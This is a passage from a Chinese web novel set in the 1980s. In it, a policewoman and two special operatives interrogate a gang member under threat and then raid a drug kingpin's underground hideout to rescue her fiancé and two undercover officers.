看样子,这人是贩毒集团核心的马前卒了。 安暖比他动作更快,往着火的厂房跑去。 曲嘉和蓬钧现在应该正在回来的路上,这人出来看情况,也是要去火场查看情况的,那就正好了。 他们现在就需要落单的知情者。 抓一个,问问话。 园区这会儿整个有些混乱,安暖这个时候在园区一路小跑,也没有引起任何人的怀疑,她在半路遇到了蓬钧和曲嘉,一把拽住。 喜欢八零警花娇又飒,高冷队长心慌了请大家收藏:()八零警花娇又飒,高冷队长心慌了更新速度全网最快。 第227章 经典案列 “旧仓库里的人出来了。”安暖低声快速说:“把人抓了。” “好。” 二话没有,蓬钧立刻应了。 在这种混乱中,悄无声息的抓一个没有准备的人,这太简单了。 可别忘了,他们都是带着枪在身上的。 安暖照例去一旁躲着,曲嘉和蓬钧装作不经意的站在路上。 刚才离得远,脸虽然他们都没看见,可衣服和身形,都是看见的。 说话间,男人也过来了,蓬钧迎来上去。 “兄弟。”蓬钧一边走,一边掏出烟来:“问你个事情。” 男人愣愣一下,条件反射的伸手接烟。 “什么事?” “我们是来投资的。”蓬钧说着,烟递到了对方手上。 男人接过烟的一瞬间,曲嘉从后面靠了过来,一把搂住了男人的肩膀。 枪,就抵在了他腰上。 男人浑身一颤,顿时僵硬。 “别动,别喊。”曲嘉低声说:“有些事情,想请教请教小兄弟。” 两个人搂着一个,像是哥俩好一样,简简单单就把人给弄走了。 男人衣服下面有隆起的肌肉,是个练家子,但是没有用。 行家一出手,就知有没有,曲嘉和蓬钧,他谁也压制不了。 现在园区所有人的注意力都在着火的厂房里,根本没人会注意别的。 安暖之前已经看过了,有一处偏僻的角落,看里面的灰尘和凌乱,就知道许久没人去了。现在混乱中,更没人去。 男人被带了过去。 转进角落,安暖就拿着绳子迎了上来。 他们真是什么都准备好了,万事俱备,就等人来。 先二话不说把人捆上。 曲嘉接过绳子,利落地就将男人给五花大绑起来。手捆在一起,然后捆在背后。腿也捆在一起,再将绳子捆在一旁的石柱上。 保证这个人无论有多好的身手,自己也不能挣脱开。 捆完了,一搜,这人身上果然有枪。 还有一些其他的东西,钱包火柴什么的。曲嘉特别自觉,除了枪,其他的一股脑交给了安暖。 这一夜大半天的时间,他已经确定了一件事情。 他们三个人临时的组合,他们俩是拳头,安暖是大脑。 但有枪,这事情就是另一个严重的性质了。 曲嘉正打算将他的枪插在自己腰上,安暖蠢蠢欲动,问他:“这枪能给我吗?” “你……会用枪?” 安暖连忙点头。 会的,培训过,只不过不是神枪手,枪法很一般罢了。 曲嘉犹豫了一下,还是将枪给了安暖。 有枪,就有一定的自保能力。 安暖检查了一下,虽然动作有些生疏,但看的出来,确实是会的。 这一点,安暖也不怕时候有人追问,她已经想好怎么解释了。 这身体的主人的父亲是警察,她也是有机会接触到枪的。好奇,看过,爸爸教过,没什么毛病。 当然不可能真的给她开过枪,但她既然是个天才,只要接触过,紧急时刻开两枪也是说得过去的。 男人挣扎了两下发现是徒劳,瞪着几人。 “你们是什么人?” “现在是我们问你,不是你问我们。”安暖说:“想死吗?不想死的话,就老实点。” 男人发现在这三个人里,做主说话的竟然是个年轻女人,一脸很奇怪的样子。 “你们要问什么?” 虽然男人被捆着,但是还挺冷静,和食堂时师傅完全不一样。 跟他,就不能晓之以情,动之以理了。 边缘人物,坦白从宽可能会有一线生机,他们会动摇。 已经陷的很深的,根本没有回头机会的,就不一样了,只会负隅顽抗。 安暖说:“我是来找你们老大的。” 男人一听,这也不是警察的问话方式,听起来怪怪的,不伦不类的。 男人皱眉道:“你找我们秦哥做什么?” 秦哥? 这个称呼怎么这么耳熟。 她突然猛地站直了。 众人都吓了一跳,一起看她。 安暖脑子里飞快地转着,脑中豁然开朗。 她知道了,或者说,她想起来了。 她不能确定具体某年某月,但是,她知道在八十年代,有一起非常轰动的毒枭覆灭的案子。 这都是被当做典型案例学习过的。 只是这样的案子太多,在没有进一步线索的情况下,不好对号入座。 但男人说了个秦字,在案例中,有一个毒枭,就姓秦。 秦默。 这名字她有印象啊。 但秦默并非在林区被抓捕,要是记得不错,他是在出逃过程中,快艇差一点到了公海被击毙的。 安暖顿时眼前一亮。 “你知道你们老大要跑了吗?”安暖一句话给男人说懵了:“你们这些手下,要被丢下做牺牲品了。” 这话一出,不但男人懵了,曲嘉和蓬钧都懵了。 他们这会儿的想法很一致。 安暖,是不是知道得太多了? 你是怎么知道这些的? “你胡说。”男人几乎是脱口而出:“这不可能。” “有什么不可能的?”安暖道:“你们已经被盯上了,心里有数吧。要是被抓,死路一条,心里也有数吧。他为什么不跑?跑了还有一线生机,留下那不是自寻死路吗?大难临头各自飞,你不会那么天真吧?” 挑拨离间不容易,但安暖说的每一句话,都在点子上。 “你到底是谁?”男人死死盯着安暖:“你想干什么?” “你别管我是什么人。”安暖拍了拍手里的钱包:“一家三口,挺温馨啊。这几年没少赚钱吧?老婆孩子,日子过得挺舒服吧?” 男人的钱包里,有一张合照。 是一家三口的温馨合家欢。 有老婆孩子的人,就不该做坏事。 安暖说:“我需要知道旧仓库里的布置,人手,你知道的所有情况。说清楚了,你死不死看你造化,但我不会找你老婆孩子的麻烦。如果说不清楚,就让你一家三口一起死。” 安暖拔枪,抵在男人脑门上。 又酷又帅,虽然她不可能开枪。 但她这行为,男人怎么也没想过她是警方的人。 这十足像是黑吃黑来找麻烦的。 “哎,别冲动。”曲嘉又掏出了消音器,开始往枪管上装。 喜欢八零警花娇又飒,高冷队长心慌了请大家收藏:()八零警花娇又飒,高冷队长心慌了更新速度全网最快。 第228章 说假话的都打死 这个动作真是特别的帅,特别的游刃有余,好像一年不做也做十回八回一样。 “等等,等等。”男人连忙说:“别杀我,你们想知道的,我都说。” 他又不是英勇无畏的战士,难道还要死不开口不成。 “行,那你说。”安暖抬手按住曲嘉的手:“要是说得好,至少我不杀你。” 这真是一个叫人安心的承诺。 男人说:“这段时间外面查得严,老大带着我们就在旧仓库里。” “说说仓库里情况,不要说谎哦。” “仓库就是个空仓库,废弃多年了。”男人说:“外面堆了一些乱七八糟的货架什么,里往里走都是空的。仓库有地下室,我们这段时间就住在地下室,晚上才出来。” 安暖说:“仓库有几个门,分别在什么位置?” “两个门,前面一个,后面一个。”男人说:“不过后面的门已经堵上了,现在就前面一个门。二十四小时都有人看守,不让靠近。” “里面有多少人?” “常在里面的,也就是一直跟着老大的两个。” 男人好像真是害怕了,问什么,说什么。 “常在里面的,也就是说,还有不常在的?不常在的是什么人?” “就……前天送来几个妇女,不过现在没在了,已经送走了。之前还有几个兄弟,也陆续走了。” “送去哪儿了?” “我也不知道。”男人的表情有点慌:“我不管这个。” 安暖心里沉甸甸的,这几个人恐怕凶多吉少。 但现在不是计较这个的时候。 “里面三个人,有什么武器?” “都,都有枪。还有两只长枪,有几个手雷。” 这个配置,倒是很正常。 “除了那几个妇女,还有其他人来过吗?” 男人连连摇头。 安暖心里盘算着。 所以说,楚隽他们都不在。 而且,要是按他说的,楚隽,包括许醉他们,也没有进来过。 那现在楚隽他们到底在做什么?他们为什么没有进过旧仓库,那他们见过秦默吗?知道秦默的身份吗? 在场四个人,这会儿脑子都转得挺快的,但是没有一个,转的有安暖那么复杂。 男人看看这个,看看那个,小心翼翼说:“能说的我都说了……能不能……” 安暖转过身看他,眼神有些不善,让男人瞬间说不下去了。 安暖道:“想想刚才你说的话有什么需要修改的,要是没有,就跟这个世界说再见吧。” “没有。”男人立刻说:“我说的都是实话。” 安暖抬了抬手:“动手吧。” “好。” 曲嘉举枪。 “等等,别动枪,用刀。”安暖按住曲嘉手里的消音器,再看了男人一眼:“给你最后一个机会,你刚才,说谎了,要纠正吗?” 曲嘉将枪插进衣服里,摸出匕首。 匕首在他手上挽了个花,一看就用的非常熟练。 男人强调:“我没有说谎。” “说了。”安暖非常笃定:“你以为我已经找到了这个地方,是真的一无所知吗?” 男人的脸色更难看了。 安暖说:“不说真话,处理了。” 说完,她转身就往外走。 曲嘉也是个做戏做全套的,他上前两步,给了蓬钧一个眼神。 蓬钧明白,过去一手按住男人的肩膀,一手捂住他嘴。 男人眼睛猛地瞪圆,拼命挣扎了起来。 安暖没有回头,只是淡淡道:“不说真话的人,和死人没有区别。” “是。” 曲嘉抬手,匕首就朝着男人的肚子捅了过去。 一刀肯定不毙命,多捅几刀就好了。 就在刀尖刺破衣服的时候,男人从被捂着的嘴里,挣扎着含糊喊出一句话。 “我说。” 匕首尖已经刺破了皮肤,好在曲嘉手很稳,说停就停。 男人一动都不敢动,吸着肚子都不敢多喘一口气,生怕多喘一口气肚皮一松,匕首就扎进肚子里了。 安暖转身走回来。 “说吧,再给你一次机会。” “仓库里……有四个人,还有一个暗门,就在四号门外面的林子里,可以直接进仓库的地下室。” 安暖面色稍缓。 男人松了一口气。 曲嘉和蓬钧有点好奇,到底安暖是知道一些呢,还是其实不知道什么,只是在诈他呢? “四个人,除了秦老大,其他三个是什么人?” “都是老大身边的打手,身手了得,枪法也不错……老大很器重他们。” 安暖摸了摸下巴,给了曲嘉一个眼神。 曲嘉二话不说,一掌劈在男人脖子上。 男人就这么软绵绵地倒了下去。 蓬钧又检查了一下捆绑的绳子结实不结实,再给男人嘴里塞上一块布,保证他即使醒了,也没有办法呼唤谁。 男人昏过去之后,曲嘉便道:“你怎么知道他没说真话?” “狡兔三窟。”安暖说:“旧仓库怎么可能只有一个门,他们不怕被人堵在里面吗?而且,这个仓库离四号门并不近,如果雷晓飞拐卖的人口是要从旧仓库大门送进去的,一定不会将人卸在竹林边,而是会让车直接进入园区。” 那么远的距离,不管白天晚上,带着几个被捆着的妇女,这也太夸张了。 曲嘉想了想,是这么回事。 “那我们下一步,怎么办?” 安暖也有些犹豫。 秦默和几个手下在旧仓库里,这个消息的准确性应该是大差不差的。 但楚隽他们在哪里呢? 她这一趟,一方面是抓人,另一方面,重点是救人啊。 如果从许骧的牺牲时间推断,事发就在十天之内。 十天之内的意思,不是在第十天,而是在这十天里,随时都有可能。 楚隽入局,许骧露面,这场大戏,估计要进入尾声了。秦默要跑,在跑之前肯定是要清理身边人的,许骧许醉,估计一个都跑不了。 她得在这之前,切断这条线。 安暖深深吸了口气:“不入虎穴,焉得虎子。” 她多少是有点犹豫的,但蓬钧几乎都不用想的,便应着:“好。” 安暖都不怕了,他们还能说怕。 但安暖也不是一腔孤勇的。 倒是曲嘉还理智点:“要不要打个电话给市局,叫他们增员一下?” 第229章 秘密通道 安暖叹了口气。 “你们以为,我是想逞强逞英雄吗?”安暖说:“我不是。” “那是?” “我为什么要让老爷子,从外地叫了你们回来帮忙呢?” 这节骨眼上,她不敢相信任何人。 刑警队的人也罢,市局的其他人也罢,或者其他的警方力量,当然绝大多数都是好的,可但凡这里有一个有问题的,泄露了消息,从中动了手脚,那就功亏一篑,满盘皆输。 卧底本来就是用性命在走钢丝,安暖不敢冒这样的风险。 好在曲嘉和蓬钧是翟老爷子挑出来的,那都不是百里挑一,是万里挑一。对于攻坚这件事情,别有心得。 蓬钧没有再纠缠他们三个人,准确的说是两个人要去旧仓库抓四个人这件事情的危险程度,而是说:“这个旧仓库有两个门,确实是容易叫他们跑了。曲嘉,我守一个,你守一个?” “可以。” 安暖没想到他们就两个人,还要分头行动。 她左看看,右看看。 感觉他们好像要单独行动,把自己撇开一样。 “等一下,等一下。”安暖连忙说:“你们打算就这么冲进去吗?” 是不是有点不对? “也不至于那么简单粗暴,但不会差太多。”蓬钧说:“要不然,你还有什么建议?” 安暖想了想:“秦漠能躲得那么深,肯定是老奸巨猾,心思很重。他派人出来打探情况,这人久久不回,他一定会起疑心。但是因为身边的人已经不多了,所以,他不会再派人出来,而是会选择直接逃跑,可能会打乱计划,提前逃跑。” “园区再乱,也有那么多人,他们逃跑不会选择从旧仓库大门出来。他们都是陌生面孔,是见不得人的,有枪也没用,园区那么多人,还能都杀了不成?” 这个年代,枪支管理没有那么严格,很多地方有猎枪。 林区就有。 这年代的老百姓是很彪悍的,民间武装起来,能把他们都堵死在里面。 秦漠他们只有四个人,必然是跑,没有硬杠的道理。 所以看似两个门,其实只有一个。 蓬钧爽快道:“那我们直接去四号门外面堵他们就行。” 之前一直是对方在暗,他们在明。 现在他们在暗,对方在明亮,就好办许多了。 三人立刻出了门。 四号门附近现在一个人都没有,园区绝大部分人都去火场附近了。就算是帮不上忙的,也去看热闹。 林子里静悄悄的。这种满是杂草,灌木,藤蔓的地方,地下有个洞口,只要在洞口上稍作掩饰,比如放一块木板,木板上盖点土,插点草,根本就看不出来。 三人站在门口,一言不发。 按照刚才抓着的男人的描述,洞口就在前方不远。 曲嘉道:“那一片的草很茂密,地上可能会有陷阱。” 捕兽夹之类的。 “交给我。”蓬钧说:“我老家,可是山里的。” 安暖看着蓬钧走了过去,悄无声息的。 隐蔽的通道是双刃剑。 虽然对方不容易发现,但是也不好在地下观测地上的情况。 蓬钧慢慢走了过去,手里拿着一根树棍。 安暖和曲嘉就蹲在一从竹子后面,有点猥琐地探头探脑的看。 安暖有点后悔。 “大意了,忘了让你们穿防弹衣。”她很紧张,对方是真的有枪,杀人不眨眼的,要是蓬钧倒在她面前,她简直要以死谢罪。 “是大意了。”曲嘉说:“应该给你带件防弹衣的。” 实在是这件事情翟老爷子也没说得太清楚,他们知道有点难办,但没想到那么难。 曲嘉已经握了枪在手里,瞄准着蓬钧前进的方向,只要有风吹草动,随时准备开枪。 就在蓬钧越走越近,越走越近的时候,突然远处传来一阵汽车轰鸣的声音。 安暖心里一动,立刻压着嗓子喊道:“蓬哥,躲一下。” 有人来了。 谁? 会不会是楚隽他们? 蓬钧立刻反应过来,一闪身就躲到了一片灌木丛后面。 安暖和曲嘉也都躲到了竹林后。 这竹子是一丛一丛的,几人不能合抱。足以遮住他们的身形。 汽车声音越来越近了,一辆面包车出现在视线里。 那车在空地上停了下来,人没有立刻下车,而是等了一会儿,可能是在观察周围的环境。 园区里现在虽然正在闹,但是因为园区很大,着火的地方离四号门很远,现在救火的行动也已经进入了尾声,所以在这里听着不明显。 他们在车里看了半天,只能看见外面一片安静。 和平时差不多。 四号门本就偏僻,正常这里是没什么人的。 驾驶室的门先开了,从里面跳出个中年男人,穿着一身亮片夹克。别说在这里,就是在京市最繁华的大街上,也够时尚闪耀的。 他下了车之后,副驾驶也下来一个人,五十来岁的男人,是个秃顶。 后座的门也开了,安暖眼前一亮。 许骧下了车。 安暖现在看见许骧,只有一种想法,你还活着,真好。 紧跟着许骧一起下车的人,正是楚隽。许骧的胳膊抓着楚隽的胳膊,挨得很近,虽然看不见,但是有种被挟持的感觉。 即便是离得远,安暖也看出了不对劲。 楚隽的手放在身前,上面搭了一件衣服。 他们抓犯人上手铐的时候,不想被看见,都是这姿势。 他耷拉着脑袋,脚步也有些踉跄,有些有气无力的感觉。 安暖心揪了起来,莫非是受伤了? 两人下车之后,刚才穿着亮片夹克的人又进了后车厢,从里面扛出一个人来。 是个姑娘。 是许醉。 许醉应该是昏迷过去了,被他扛在肩膀上软绵绵的,一动不动。 没死就好。 安暖安慰自己,如果死了,就不会扛回来了。虽然受了伤,至少命还在。 夹克低声说了一句:“老蹇,走。” 这称呼让安暖心里一动。 这姓可不多见,给四号食堂时师傅安排差事的园区经理蹇峻熙,就是姓这个。 果然,他就是团伙的内应。 蹇峻熙应了一声,往灌木丛里走去。 他们已经很警惕了,但怎么也没想到,林子里,有三双眼睛盯着。 第230章 不入虎穴焉得虎子 蹇峻熙也很小心的往前走,没走多远就蹲了下来看一下,再往前走,看得出来,他也不是熟门熟路的。 走了几十步,再一次蹲下来,蹇峻熙没起身,而是仔细的观察了一下。 然后转头朝其他人招了招手。 找到了,洞口就在这里。 安暖一直在看楚隽。 她非常想和楚隽通个气。 要是能双方沟通一下发生了什么事情,当然最好。如果没有机会,让他看见自己,知道自己在这里,也可以。 这样彼此心里有数,要做什么事情也好互相有个照应。 楚隽看起来虽然好像受了伤,但她不是特别担心。 楚隽的伤一定在可控范围内,甚至可能是装的。 因为有许骧在。 如果楚隽的伤已经不在可控范围,他一定会想办法,不可能拖着战友来送死。 洞口被打开,蹇峻熙先钻了进去。 许骧用枪指着楚隽,夹克依然扛着许醉,一行人一个接着一个地,进了地下室。 蹇峻熙最后进去,关上了门。 安暖心里有数了。 这个后门是没有人看管的。 没有暗号,没有上锁,只是隐蔽的一个木本在草丛中。 当然这也正常。 秦漠现在人手有限,守门是需要人的,还需要二十四小时换班的人。要是前面守一下,后门再守一下,哪怕一班十二个小时,也需要四个人。 他没有那么多人手可以耗。 至于上锁,看起来安全,其实危险。 没被人发现的时候,有锁没锁都一样。 一旦被人发现,锁不但毫无用处,还会影响他们的出入,让他们变成瓮中之鳖。 一行人进入地洞之后,一切归于平静。 安暖直起身子。 蓬钧一针见血:“刚才那几个人,什么身份?” 楚隽和许醉,他们今天在包子铺门口是见过的。但是当时 安暖简单道:“穿夹克的不认识,应该是秦漠的手下。秃头可能是食堂师傅说的蹇峻熙。其他三个,手上搭着衣服的是我未婚夫,是刑警。拿枪指着他的男人,和昏迷的女同志,应该是卧底。” 短短几十个字,信息量实在是太大。 篷钧和曲嘉都消化了一下。 今天早上,他们在包子铺前见过楚隽和许醉,但当时没有问太多。安暖也只说了,他是自己人。 现在明确了是什么样的自己人。 只是没想到剩下的两个,竟然是卧底。 安暖知道他们俩卧底的身份是绝对机密,但这个时候,不得不说了。总不能一会儿到了真枪实弹相对的时候,还要自己人打自己人。 “好。”曲嘉很快道:“我知道了,我们也下去。” “嗯。”安暖点头:“你们记住,我们的目标就是抓住秦漠,以及他的手下。只要抓住秦墨,就算任务完成。” 她现在非常确定。 别看许醉和许骧好像在犯罪团伙里有一定的身份,但肯定没搞清楚秦漠的这个窝点。所以才会装被擒,被带进来。 他们现在依然对底下的情况不了解,要不然,不必这么冒险。 “好。”曲嘉道:“我们也下。” 眼下没有更好的办法,不入虎穴,焉得虎子。 “下。” 安暖深深吸了一口气。 她可以不要这条命救下楚隽,也可以和楚隽一起死,但她不愿全身而退,看着楚隽死。 不管人活几世,也要有所为,有所不为。 有了前人带路,这一回他们很轻易就找到了隐藏在草丛中的盖子。 曲嘉将枪插在腰上,轻易将盖子掀开。 里面黑乎乎,几乎没有什么光。 能看见边上有一道垂直的梯子。 篷钧先摸索着下去了。 曲嘉低声道:“要不然,你在上面等我们?” 他执行任务从不害怕,但是看见安暖细胳膊细腿的样子,有点担心。 “没事儿。”安暖也下去了。 她也不怕。 曲嘉最后一个,也爬了下去。 盖子盖上,里面又恢复了黑暗。 但不是全黑,有一些昏暗的光,从转角的地方照进来。 应该是从仓库那边牵进来的线,他们是要在这下面活动的,又不是地鼠,不可能一直在黑暗里。 依然是曲嘉走在前面,篷钧跟在后面,安暖在最后。 现在他们后方是不太可能有人的,要注意的只有前方。 没有说话,只是往前走。 安暖看着地面,地上有浅浅的脚印。 地面就是泥土地面,脚印很明显,虽然乱七八糟的,但是新鲜地浮在最上面的,是往里走的。 曲嘉给篷钧做了个手势,篷钧点头。 安暖也跟着点头。 曲嘉很意外,看了她一眼。 这是他们行动的一些手势,虽然也是通用手势吧,但非常战斗人员是接触不到的。可安暖竟然看得懂? 安暖现在紧张,没有体会到曲嘉这个眼神的意思,只是往前看。 她不但看,还在听。 地道里说话是有回声的,小小的声音,能传得很远。 楚隽被带进来了,见了秦漠,一定会说话。 他们在地下说话,不怕地上的人听见,不会太小声,能传遍整个地下。 脚印一直往前延伸,到了一个转弯地方的时候,果然听见了说话声。 光线亮了一些,虽然听不清说的是什么,但能分辨出,是一个男人的声音。 安暖拔出了腰上的枪。 楚隽进来,还可以伪装一番。 他们是闯入者,只要露面,就身份分明,没有任何转圜的余地。 就算安暖也说出一朵花来,以秦漠的警惕,也绝对是杀人灭口才能放心。 篷钧伸手拦下,两人,自己从口袋里摸出个小镜子。 蹲下身,他将镜子探出去一点,从镜子里,观察转弯处的情况。 虽然昏暗模糊,也能看个大概。 翟老爷子找的人果然靠谱。 看了一下,篷钧回头给曲嘉做手势,示意纵队继续前进。 就这样过了两个转弯,终于,人就在隔壁了。 有人说话。 一个陌生男人的声音,压低了声音的训斥:“你怎么把他们带进来了?不是说了,这地方不要暴露吗?” “老大,你听我解释。”这声音他们听过,正是刚才那个穿着夹克的男人的声音。 第231章 第一次那么激烈 老大! 安暖心里剧烈的跳了一下。 这个被称为老大的人,应该就是秦漠了。 她瞬间有一种冲动,冲上去直接把秦漠打死。 简单明了,一了百了。 秦漠死了,剩下那写小喽啰都不重要了,树倒猢狲散,擒贼先擒王。 当然这只是一个一闪而过的念头。 秦漠在这个地下室里,包括夹克和蹇峻熙,至少还有五个手下。 他们都有枪,以及比枪威力更大的武器。 他们都是被抓着也死的,一定会负隅顽抗。一旦火拼,怕是难免死伤。怕他们走投无路,会狗急跳墙,甚至同归于尽。 秦漠很没耐心:“说。” 夹克道:“这地方不能呆了,我们要尽快离开,不怕被发现。姓楚的身份不一般,他可不仅仅是个刑警。要是弄死他被发现了,他家里不会善罢甘休。只有活着在我们手里,才是最有用处的。” 活着,就是人质,可以叫人投鼠忌器。 死了,那是愤怒,只会引来赶尽杀绝。 夹克又道:“其他几个,就我一个人也不好动手。我一想,不如带过来,在这里动手,悄无声息。” 秦漠沉默了一下。 “你说的也有道理。”秦漠说:“跟老鬼透个气,把其他人都解决掉,我们立刻离开。” 三人交换了一下视线。 秦漠的计划和之前安暖推测的大差不差。 准备逃跑。 逃跑可不是大张旗鼓的事情,要简单点。 秦漠只打算带上自己最信任能干的两个手下,一个是这个夹克,另一个叫老鬼。 其他人全部处理掉。 不管敌我。 果然能做到这一步的人,心狠手辣是免不了的,杀人对他们来说,毫无负担。 夹克应了一声,两人的脚步声重了起来。 “商量好了?”楚隽的声音响了起来,有些虚弱,但还是很镇定:“秦漠,我们做个交易吧。” “说说看。” “我虽然是个警察,但我也不想死。”楚隽说:“事到如今,你也不可能在国内呆下去。你放了我们,只要你答应永远不踏进国土一步,我也可以放了你。” 篷钧继续蹲下,用小镜子看那边的情况。 楚隽靠坐在一张椅子上,一旁,有人举枪指着他。 许醉被仍在一旁的地上,似乎还在昏迷中。 其他零散的几个人,或蹲或站或坐。 他们手里都有枪。 眼下对方人多,自己人少,确实难办。 如果秦漠能先解决他的手下,倒是可以等一等,坐收渔翁之利。 就怕秦漠先把许骧解决了。 秦漠笑了一声:“楚队长,你跟我开玩笑呢?” 楚隽冷声道:“我没跟你开玩笑。” 秦漠道:“我确实要跑,可现在我为刀俎,你为鱼肉。杀了你我一样能跑,为什么要和你合作?你心眼那么多,和你合作太危险了。” “如果杀了我能跑,你早就杀了我了,还要等到现在吗?”楚隽说:“你确实能跑,但会跑的很危险。如果有我给你打掩护,那可就不一样了。只要我一句话,你就可以安安全全的离开。” 这也是秦漠的打算。 “如果楚队长能送我一程,那当然好。可惜啊,我对楚队长的人品不放心,或者说,我对楚队长的人品太放心,我可不相信你会帮我。我冒不起这个险。” 说着,秦漠举枪,对准楚隽。 但是安暖觉得,秦漠的这一枪,并不是想要打死楚隽。 站在楚隽边上的,就是许骧。 秦漠一个人想要解决自己的手下,也需要找一个理由把他们分崩瓦解。 不然的话,很容易被反噬。 不能等了。 就在安暖打算让篷钧动手的时候,突然,篷钧将脚边的一块石头往墙上丢去。 发出一声不大不小的声音。 这一声,让隔壁的人顿时一起转过了头。 “谁!” 夹克喝了一声,所有人的枪都举起来,对准这边。 但是一切又归于寂静。 这个拐弯的直角非常好的成为一个天然的掩体。 他们看不清对方,对方也看不清他们。 沉默了一会儿,见这边一点动静也没有,秦漠道:“老江,二狗,过去看看。” 根据他们刚才的观察,这下面现在除了秦漠,还有他两个非常信任,跑路也打算带着的手下,老鬼和夹克。 其他的,还有园区经理,记忆两名手下。 这两个人,应该就是他打算自己处理掉的两名手下。 所以当有情况发生的时候,让他们过来查看,这不是让他们当马前卒,是让他们当炮灰。 曲嘉做了个手势。 安暖立刻蹑手蹑脚的往后退了好几步,然后蹲了下来。 虽然蹲下来不能隐身,但是能让自己的目标变小。 只要竖起耳朵,脚步声再轻也是脚步声。 老江和二狗也很紧张,他们一左一右,举着枪,慢慢靠近。 安暖心砰砰的跳。 不怕被人笑话,虽然上辈子她也是资深刑侦人员,但是从没有这样深入敌人老巢。 她进入现场开始搜证,那都是在局面控制之后,这么紧张刺激,随时生死一线的场面,还是第一回。 老江和二狗的脚步在转弯的地方停了一下,然后猛的转过来。 就在这时候,曲嘉和篷钧一人一个,抓住了两人的手腕,胳膊勒住脖子一扭。 安暖也不知道他们是死了还是没死,总之那么大块头的两个人就这么软绵绵的倒在了地上。 悄无声息的,一点儿都没有反抗的余地。 这边只是借着隔壁空地上昏暗的灯光,别说从远处看,就是在这儿都看不清,所以即便秦漠他们一直看着,也看不清到底发生了什么。 他们只知道,两个人过来查看情况,然后,就没有然后了。 如果他能再派两个人来查看情况,那就更好了。 颇有种,一夫当关,万夫莫开的感觉。 将两人的枪收了,一人一把插在腰后。 安暖给他们竖了个大拇指。 这身手当真了得。 现在对方还剩下秦漠带着老鬼和夹克,还有一个园区经理。 两方对峙的力量对比,一下子就趋于平衡了。 第232章 听声辨位 篷钧和曲嘉两人比划了一下。 这个就有点复杂了,安暖没太看懂,但是她觉得这会儿强攻还是差了点火候。 主要是完全没有和楚隽他们沟通,很难有效配合。 现在这场面,对方只是知道有人来了,但到底是谁,很难猜测。必须给楚隽一个明确的提示。 但是这个提示,又不能让秦漠知道。 好在秦漠和他的几个手下,绝对不认识她。 安暖一手拽住曲嘉,一手拽住篷钧,指了指自己。 两个人吓得魂飞魄散,几乎是立刻做出了同一个动作。 一人一只手,死死地抓住了安暖的胳膊。 就像生怕安暖下一秒就会飞出去。 在他们心里,安暖虽然一直很冷静,但多少也是有点疯的。要不然干不出现在的事情。 冷静和疯,虽然这是两个截然相反的性格,但在他们看来,这两点完美融合在安暖身上,稍微不注意就跟不上她的节奏。 两个人既然接了翟老爷子的委托,就得最大程度地保护她。 安暖哭笑不得。 这两人力气真大,抓着她胳膊,跟押着犯人似的。 安暖连连摇头,表示自己没有打算冲出去。 她没有莽撞到这个地步。 曲嘉和篷钧稍微放松了一点。 一旁的空地上,传来了轻微的打开箱子的声音。 安暖突然想起来,根据现在有的消息,这些人是有手榴弹的。 这玩意儿是可以盲扔的啊,还可以拐弯,杀伤力巨大,要是往这边扔几个过来,那就很麻烦了,根本没有地方躲。 安暖脑子里的弦立刻就绷紧了。 她可不能一点儿忙都没帮上,现在就被弄死了。 但这其实就是一瞬间的事情,安暖甚至来不及喊一声,篷钧就已经跃了出去。 他几乎不用瞄准的,人在半空中便开了一枪。 所有人都没反应过来,只有砰的一声响。 地下室里那一点昏暗的光立刻就消失了。 陷入了完全的黑暗。 篷钧打破了挂在顶上,晃晃悠悠的灯泡。 落地之后,篷钧顺势一滚。 枪声随后响起,是秦漠的人开枪了,在地上打出一串土坑。 但这一切来的猝不及防,就算他动作很快,篷钧动作更快,又是黑暗中,一枪也没有打中。 安暖没听见篷钧的声音,松了口气。 没有受伤。 本来他们是在劣势的,现在看不见了,大家平等了。 当然对方对地下室的结构还是要了解一些,可是看不见的情况下,了解也没有用。 安暖突然开了口:“老鬼是卧底!” 众人都愣了,黑暗中响起一声爆喝。 “谁在胡说,我不是!” 几乎同时,响起了一声枪响。 随后是一声痛呼。 有人摔在了地上。 安暖已经在这一会儿的功夫,偷偷摸摸不出声响的转出了转角,离开了原位。 她在黑暗中,对篷钧竖了个大拇指。 不愧是未来的兵王,这枪法,这反应程度,没话说。 这可是在没有商量好的情况下,竟然能有这样的默契。 黑暗中,大家彼此不知道对方的位置,老鬼这一声回应,简直就是天生的靶子。篷钧也抓住了这个机会。 这一枪虽然看不见,但听声辨位,显然打中了。 不管打中了哪里,这个人算是废了一半了。 这个叫老鬼的,他们虽然不认识,但既然是秦漠跑路都愿意带着的人,肯定是个厉害角色。 喊出对方的名字,让对方猝不及防出生,安暖知道自己只有这一次机会。 第二次,对方就会警觉了。 她倒不是不想直接对付秦漠,但秦漠老奸巨猾,她没有把握他一定会出声,不想浪费这只有一次的机会。 枪响之后,地下室里一片安静。 只有压抑的非常浅的呼吸和老鬼痛苦的呻吟。 老鬼中枪这事情弄得,现在谁也不敢说话了。 虽然呼吸声是怎么都藏不住的,但是人人都有呼吸,谁也没有办法从呼吸中分辨出谁是谁,只要不出声,不暴露自己的身份,就没人敢随意开枪。 安暖顿在一个无人注意的角落,动着脑子。 她知道,这会儿最惊愕的是楚隽。 刚才那简短的一句,楚隽已经知道她来了,而且,带了人来了,带的还是高手。 他一定知道自己是来救他的。 还有许骧。 许醉不知道是什么情况,暂且当她不存在。 如果之前,楚隽和许骧因为势单力薄犹豫的话,现在多了人手,很多事情做起来自然就方便了。 地下室里,因为黑暗和老鬼中枪,陷入了诡异的安静中。 大家都在想,怎么在不暴露自己的情况下,找出对手。 秦漠现在脑子里一定有十万个为什么,可是不敢开口,怕一开口就成了靶子。 就这么沉默了一会儿,突然,有人开口了。 “大家都别激动。” 说话的正是刚才穿亮片夹克的男人。 话音未落,又是一枪。 但从这一枪的声音,打在了一个坚硬的东西上,又被弹开了。 地下室里,确实是有一些东西的。 乱七八糟的柜子桌子什么的。 夹克之所以敢开口,不是因为他不怕死,是因为他对地下室的环境熟悉,悄无声息地躲在了柜子后面。 那是个死角,就算现在篷钧知道他的位置,也没法打中他。 相反,开枪也会暴露自己的位置,必须在开枪之后,立刻转移。所以也不能随意行动。 果然,皮夹克有恃无恐。 “都别激动,听我说。”皮夹克说:“我不知道你们是什么人,但能找到这里,算你们厉害。与其两败俱伤,不如谈个交易……” 还是没人说话。 安暖心里有些不安。 人和人之间这时候是没有一点信任的,谈交易就是一句胡扯。 谁也不会相信谁说的话。 所以皮夹克这时候不是想和他们沟通,是想要拖延时间。 他身上有光源。 比如手电筒。 